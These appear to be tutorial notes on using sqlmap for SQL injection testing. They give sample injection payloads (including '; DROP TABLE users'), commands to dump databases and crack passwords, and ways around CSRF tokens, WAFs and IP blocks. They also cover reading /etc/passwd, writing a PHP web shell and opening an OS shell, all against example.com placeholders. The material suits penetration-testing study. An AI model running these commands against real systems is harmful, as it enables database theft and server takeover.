Penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection flaws.
Has the following supported SQL injection types:
B: Boolean-based blind- e.g.
AND 1=1
- e.g.
E: Error-basedAND GTID_SUBSET(@@version,0)to see if the errors are being returned as part of the server response.
U: Union query-basedUNION ALL SELECT 1,@@version,3.
S: Stacked queries; DROP TABLE usersinjecting additional SQL statements after the vulnerable one.
T: Time-based blindAND 1=IF(2>1,SLEEP(5),0)response time is used as the source of differentiation between TRUE or FALSE.
Q: Inline queriesSELECT (SELECT @@version) fromembed a query within the original query.
To run sqlmap against a GET URL parameter and chooses default answers for prompts.
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
# automatically dump all data
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch --dumpIn the output some things to note
- “stable URL content”: no major changes between responses of continuous identical requests.
- “parameter appears to be dynamic” means that any changes to a parameters value results in a change in the response.
HTTP Request
Most HTTP Request often need proper cookie values or need a specific formatted request. Therefore we can use Copy as cURL feature inside our browser to extract the request and changing curl for sqlmap.
GETparameters are provided with the usage of option-u- More complex HTTP requests with lots of different headers values can be provided with
-rand prrovide the request in a file.
- More complex HTTP requests with lots of different headers values can be provided with
POSTdata uses the--dataflag
# uid and name will be tested for SQLi vulnerability
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
## can narrow done with -p uid
## or we could mark data with *
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'SQLMap Errors
--parse-errorsto parse DBMS errors and displays them as part of the program run.-tstores the whole traffic content to an output file-vwhich raises the verbosity level of the console output--proxyto redirect the whole traffic through a proxy (Burp).
Attack Tuning
There are options to fine-tune SQLi injection attempts to help in the detection phase. Every payload has
- a vector which is the central part of the payload
- boundaries which are prefix and suffix formations used for proper injection.
We can specify prefix and suffix
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"There is a possibility to use bigger sets of boundaries and vectors
--levelextends both vectors and boundaries being used based on their expectancy of success--riskextends the used vector set based on their risk of causing problems at the target side (e.g. DoS)
At
--level=1 --risk=1the number of payloads is 72. For--level=5 --risk=3the number of payloads increases to 7865.
When dealing with a huge target response, if the difference between TRUE and FALSE can be seen in the HTTP codes (e.g. 200 for TRUE), the option --code could be used to fixate the detection of TRUE responses.
HTTP page titles can also be differentiated via --titles.
If we are looking for specific string values appearing in TRUE responses --string.
IF HTML page behavior tags cloud our output we can use the --text-only switch, which removes all the HTML tags.
To specify the used payloads down to only a certain type we can use --technique.
UNION SQLi payloads may require extra information to work, like the exact number of columns of the vulnerable query, we can provide this with --union-cols. If dummy filling values by SQLmap don’t work we can specify an alternative value instead --union-char. We can specify what table the UNION payload grabs from with --union-from=users.
You can use the option -T flag5 to only dump data from the needed table. You can use the --no-cast flag to ensure you get the correct content.
Database Enumeration
After a successful SQLi vulnerability, we can begin the enumeration of basic details from the database.
# database version banner, current user name, current database name, checking if user has administrator rights (dba)
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
# table enumeration by specifying the DB name
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
# retrieval of its contents
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
# column content enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
# narrow down the rows based on their ordinal number
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
# conditional enumeration based on a known WHERE condition
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"Some more advanced techniques to enumerate data of interest.
# retrieve the structure of all of the tables
sqlmap -u "http://www.example.com/?id=1" --schema
# searching for data via the LIKE operator
sqlmap -u "http://www.example.com/?id=1" --search -T user
# password enumeration and cracking
sqlmap -u "http://www.example.com/?id=1" --passwords --batchWeb Application Protection Bypasses
Anti-CSRF tokens in all HTTP request is the first line of defense against automation tools. Each HTTP request in this scenario should have a valid token value available only if the user actually visited and used the page. We can bypass this by specifying the token parameter name and SQLmap will attempt to parse the target response content and search for a fresh token.
# note: the user does not necessarily have to specify the token
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"In some cases, the web application may only require unique values to be provided inside predefined parameters. So we should just ensure that these each request has a unique value for a predefined parameter.
# point to the parameter nbame that needs to be randomized
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5Another protection where a web application expects a parameter value to be calculated based on some other parameter values. Usually this is a message digest of another one. We can bypass this by providing python code to be evulated before the request is sent
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5If we want to conceal our IP address, if a web application has a protection mechanism that blacklists our current IP address, we can use a proxy or the anonymity of Tor.
--proxycan be set.--proxy-fileif we have a list of proxies.--torbut there should also be a proxy service at the proper port.--check-torto make sure it is being used.
SQLmap will send a predefined malicious looking payload using a non-existent parameter name to test for WAF. In case of WAF use identYwaf to identify the protection mechanism. To skip this heuristic --skip-waf.
If our user-agent is being blacklisted we can bypass with the --random-agent which changes the default user-agent with a randomly chosen value.
Tamper scripts are the most popular mechanisms for WAF/IPS bypass. These are just Python scripts written for modifying requests just before being sent. These can be chained together, and to specify we write --tamper=between,randomcase. A full list can be seen with --list-tamper.
The first one is the Chunked transfer encoding, turned on using the switch --chunked, which splits the POST request’s body into so-called “chunks.” Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed.
The other bypass mechanisms is the HTTP parameter pollution (HPP), where payloads are split in a similar way as in case of --chunked between different same parameter named values (e.g. ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...), which are concatenated by the target platform if supporting it (e.g. ASP).
OS Exploitation
# view the privileges associated with the SQL user
sqlmap -u "http://example.com/vuln.php?id=1" --privilegesReading data is much more common than writing data, which is strictly privileged in modern DBMSes. Most mdoern DBMSes require the database administrator privilege (DBA) to read data.
# check if we have DBA
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
# if we are DBA, file read
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
## saves to local filesTo write files the privileges need to be specified. --secure-file-priv must be manually disabled. To write files
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"We can also test SQLMap’s ability to give us an easy OS shell without manually writing a remote shell.
sqlmap -u "http://www.example.com/?id=1" --os-shell
# By default SQLmap will default to UNION technique, sow e can specify Error-based.
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E